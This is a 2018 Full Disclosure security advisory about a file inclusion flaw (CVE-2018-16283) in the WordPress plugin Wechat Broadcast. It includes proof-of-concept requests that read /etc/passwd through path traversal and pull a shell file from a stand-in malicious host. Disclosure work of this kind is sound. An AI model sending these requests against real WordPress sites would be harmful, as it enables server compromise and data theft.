============================================= MGC ALERT 2018-005 - Original release date: August 31, 2018 - Last revised: September 19, 2018 - Discovered by: Manuel García Cárdenas - Severity: 9/10 (CVSS Base Score) - CVE-ID: CVE-2018-16283 =============================================
I. VULNERABILITY ------------------------- WordPress Plugin Wechat Broadcast 1.2.0 - Local/Remote File Inclusion II. BACKGROUND ------------------------- Wechat Broadcast allow push to the WeChat public account subscriber III. DESCRIPTION ------------------------- This bug was found in the file: /wechat-broadcast/wechat/Image.php echo file_get_contents(isset($_GET["url"]) ? $_GET["url"] : ''); The parameter "url" it is not sanitized allowing include local or remote files To exploit the vulnerability only is needed use the version 1.0 of the HTTP protocol to interact with the application. IV. PROOF OF CONCEPT ------------------------- The following URL have been confirmed that is vulnerable to local and remote file inclusion. Local File Inclusion POC: GET /wordpress/wp-content/plugins/wechat-broadcast/wechat/Image.php?url=../../../../../../../../../../etc/passwd Remote File Inclusion POC: GET /wordpress/wp-content/plugins/wechat-broadcast/wechat/Image.php?url= http://malicious.url/shell.txt V. BUSINESS IMPACT ------------------------- Public defacement, confidential data leakage, and database server compromise can result from these attacks. Client systems can also be targeted, and complete compromise of these client systems is also possible. VI. SYSTEMS AFFECTED ------------------------- Wechat Broadcast <= 1.2.0 VII. SOLUTION ------------------------- Disable plugin until a fix is available. https://github.com/springjk/wordpress-wechat-broadcast/issues/14 VIII. REFERENCES ------------------------- https://es.wordpress.org/plugins/wechat-broadcast/ IX. CREDITS ------------------------- This vulnerability has been discovered and reported by Manuel García Cárdenas (advidsec (at) gmail (dot) com). X. REVISION HISTORY ------------------------- August 31, 2018 1: Initial release September 19, 2018 2: Revision to send to lists XI. DISCLOSURE TIMELINE ------------------------- August 31, 2018 1: Vulnerability acquired by Manuel Garcia Cardenas August 31, 2018 2: Email to vendor without response September 10, 2018 3: Second email to vendor without response September 19, 2018 4: Send to the Full-Disclosure lists XII. LEGAL NOTICES ------------------------- The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. XIII. ABOUT ------------------------- Manuel Garcia Cardenas Pentester _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
